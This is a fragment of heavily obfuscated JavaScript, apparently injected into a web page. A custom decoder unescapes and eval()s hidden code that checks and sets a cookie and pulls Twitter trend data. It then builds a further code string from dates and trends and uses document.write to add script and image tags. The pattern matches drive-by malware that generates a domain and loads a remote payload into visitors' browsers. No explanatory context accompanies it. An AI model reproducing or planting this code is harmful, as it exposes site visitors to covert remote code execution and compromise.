rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;ccZ3dZ22.leZ256egthZ253biZ252bZ252bZ2529Z257btmpZ253dds.Z2573licZ2565(i,Z2569+Z2531)Z22;deZ3dZ22209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;czZ3dZ22Z2566uncZ2574Z2569Z256fZ256e cZ257aZ2528Z2563z)Z257brZ2565turZ256eZ2520ca+Z2563b+cZ2563+cdZ252bcZ2565+Z2563z;Z257d;Z22;cbZ3dZ2263Z2561pe(Z2564s);Z2573tZ253dtZ256dZ2570Z253dZ2527Z2527;for(iZ253d0;iZ253cdsZ22;opZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528Z2563u,1Z2534));Z2522;Z22;cdZ3dZ22Z253bZ2573Z2574Z253dst+SZ2574riZ256eg.Z2566rZ256fmCZ2568arCZ256fdZ2565((Z2574mZ22;dzZ3dZ22Z2566unZ2563tiZ256fnZ2520dZ2577(Z2574)Z257bcaZ253dZ2527Z252564ocuZ25256dZ2565nZ25257Z2534.Z252577Z2572iZ2525Z25374eZ2528Z25252Z2532Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253Z2563Z2573Z252563Z2572Z2569pZ252574 Z25256cZ252561Z25256eZ252567uaZ2567Z252565Z25253dZ25255cZ252522jZ2561Z2576aZ2573Z2563rZ252569pZ25257Z2534Z25255cZ25252Z2532Z2525Z2533eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572iZ2570Z252574Z25253eZ2527;evalZ2528unZ2565Z2573capZ2565(tZ2529)};Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25Z22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sZ7bxpyz;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;ceZ3dZ22pZ252ecZ2568arZ2543odZ2565At(Z2530)^(Z25270xZ25300Z2527+esZ2529)Z2529;}Z257dZ22;Z69f Z28docZ75Z6dZ65Z6etZ2ecoZ6fkZ69Z65.inZ64eZ78OZ66(Z27rf5Z66Z36Z64sZ27)Z3dZ3d-1)Z7bfunctioZ6e Z63aZ6cZ6cbaZ63kZ28xZ29Z7bwindZ6fw.Z74w Z3dZ20xZ3bZ76aZ72 Z64Z20Z3d nZ65wZ20DaZ74eZ28Z29;d.Z73Z65Z74TZ69me(Z78[Z22as_oZ66Z22]*1Z3000)Z3bvZ61r Z68Z20Z3d Z64.geZ74UTCZ48oZ75rs(Z29;wZ69nZ64ow.Z68 Z3d h;ifZ20(hZ20Z3e 8)Z7bd.setUZ54CDaZ74eZ28d.Z67eZ74UTZ43DaZ74Z65(Z29Z20Z2dZ202);Z7delsZ65Z7bd.sZ65tZ55TZ43Z44atZ65(d.Z67eZ74UTCZ44Z61te(Z29 - Z33);}Z77iZ6edoZ77.gZ64 Z3d d;Z76ar Z74imeZ20Z3d nZ65w AZ72rZ61Z79()Z3bvZ61r Z73hiZ66tIZ6edeZ78Z20Z3d Z22Z22;timZ65[Z22yearZ22] Z3d dZ2egZ65Z74Z55TCFZ75llYZ65aZ72Z28)Z3btimZ65[Z22montZ68Z22] Z3d d.Z67etZ55TCMZ6fntZ68()+Z31;tZ69mZ65Z5bZ22dZ61Z79Z22] Z3d d.Z67Z65Z74UZ54CDZ61te(Z29;iZ66 (dZ2eZ67Z65tZ55TZ43MonZ74h()Z2bZ31 Z3c 1Z30)Z7bshZ69Z66tZ49nZ64ex Z3dZ20tiZ6deZ5bZ22yearZ22] Z2b Z22Z2d0Z22Z20+ (Z64.gZ65tZ55Z54CMoZ6eZ74h()Z2b1)Z3b}eZ6csZ65Z7bsZ68iftZ49ndeZ78 Z3d Z74imZ65[Z22yeaZ72Z22] Z2b Z22-Z22 + (Z64Z2eZ67Z65Z74UTCZ4dontZ68(Z29Z2b1);Z7diZ66 (dZ2egetZ55TCZ44Z61tZ65Z28Z29 Z3c 10Z29Z7bshiZ66tZ49ndZ65xZ20Z3dshiZ66Z74InZ64exZ20+ Z22-0Z22 +Z20d.Z67eZ74UZ54CZ44ateZ28Z29;}eZ6cseZ7bZ73hiZ66tZ49ndZ65x Z3d Z73hifZ74IZ6eZ64ex Z2b Z22Z2dZ22 + dZ2eZ67eZ74Z55TZ43DatZ65();Z7dZ64ocuZ6denZ74.wrZ69Z74Z65(Z22Z3cscrZ22+Z22iptZ20laZ6eguaZ67eZ3djavasZ63ripZ74Z22+Z22 srcZ3dZ27hZ74Z74pZ3aZ2fZ2fsearZ63h.Z74witZ74erZ2ecoZ6dZ2ftrZ65ndZ73Z2fdailyZ2eZ6aZ73Z6fn?Z64Z61Z74eZ3dZ22+ shiZ66Z74IndZ65x+Z22&cZ61lZ6cbZ61cZ6bZ3dZ63alZ6cZ62acZ6b2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} fuZ6ectZ69oZ6e caZ6clbZ61ck2Z28x)Z7bwiZ6eZ64owZ2etZ77Z20Z3d xZ3bsZ63Z28Z27rf5Z666dZ73Z27,Z32,7)Z3bevZ61lZ28uneZ73capZ65Z28Z64z+Z63Z7aZ2bopZ2bsZ74)+Z27dw(Z64zZ2bZ63Z7a($aZ2bst)Z29;Z27);doZ63Z75meZ6etZ2ewriZ74e(Z24a)Z3bZ7ddZ6fcuZ6dZ65ntZ2eZ77Z72Z69te(Z22Z3cimgZ20Z73rZ63Z3dZ27http:Z2fZ2fsearchZ2etZ77iZ74tZ65rZ2ecoZ6dZ2fZ69mZ61gesZ2fseZ61rchZ2frZ73s.pZ6egZ27 wZ69Z64thZ3d1Z20heZ69gZ68tZ3d1 sZ74ylZ65Z3dZ27visiZ62Z69liZ74Z79:hiZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt Z6cZ61nZ67uaZ67eZ3djZ61vZ61Z73cZ72iptZ22+Z22 srcZ3dZ27httpZ3aZ2fZ2fZ73eZ61rZ63h.Z74witZ74er.Z63oZ6dZ2ftrenZ64sZ2fZ64aZ69ly.Z6asonZ3fZ63alZ6cbaZ63kZ3dcZ61llZ62aZ63kZ27Z3eZ22 + Z22Z3cZ2fsZ63rZ22 + Z22ipZ74Z3eZ22)Z3bZ7dZ65lseZ7bZ24aZ3dZ27Z27};functZ69Z6fn sZ63(cnZ6d,vZ2cedZ29Z7bvaZ72 Z65Z78dZ3dnZ65w Z44atZ65Z28);eZ78Z64.Z73Z65tZ44ateZ28exdZ2egeZ74DaZ74Z65()Z2bZ65d)Z3bdZ6fcumZ65ntZ2ecooZ6bieZ3dcZ6emZ2bZ20Z27Z3dZ27 +escaZ70e(Z76)Z2bZ27;Z65xpZ69Z72Z65Z73Z3dZ27+exd.tZ6fGZ4dZ54StrZ69Z6eZ67()Z3b}Z3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}var x=0;eval(t());</script>